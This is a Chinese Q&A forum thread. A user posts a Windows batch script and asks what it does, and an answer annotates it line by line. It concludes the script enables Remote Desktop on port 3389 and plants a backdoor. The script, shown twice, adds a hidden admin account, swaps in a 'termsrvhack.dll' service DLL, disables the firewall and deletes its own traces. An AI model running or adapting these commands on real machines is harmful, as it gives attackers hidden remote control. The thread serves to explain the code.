Question

高手帮我看下这段BAT代码

@echo off
@ntsd -c q -p 732
@net user xiaopeng 88306506 /add
@net localgroup administrators new1 /add
@REG ADD HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@Attrib +H +S +R C:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@del c:\1.txt
@net stop sharedaccess
@net start dcomlaunch
@net start termservice
@del c:\2.bat
谁给翻译一下

Answer 1

@echo off '关闭回显
@ntsd -c q -p 732 '结束进程ID是732的程序
@net user xiaopeng 88306506 /add '添加一个xiaopeng 密码为88306506的用户
@net localgroup administrators new1 /add ’将用户提权为管理员
’以下部分貌似是在进行克隆账号
@REG ADD HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\termsrvhack.dll /f
=====================
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll ‘复制c:\termsrvhack.dll到c:\windows\system32\termsrvhack.dll

@Attrib +H +S +R C:\windows\system32\termsrvhack.dll ’将c:\windows\system32\termsrvhack.dll文件添加隐藏，系统等属性
@shutdown -a ‘停止关机
@del c:\termsrvhack.dll ’删除c:\termsrvhack.dll
@del c:\1.txt ‘删除c:\1.txt
@net stop sharedaccess ’关闭防火墙
@net start dcomlaunch ‘开启dcomlaunch
@net start termservice ’开启termservice
@del c:\2.bat ‘删除c:\2.bat

总结
这是一个开启3389的批处理，外加后门克隆管理员账号等操作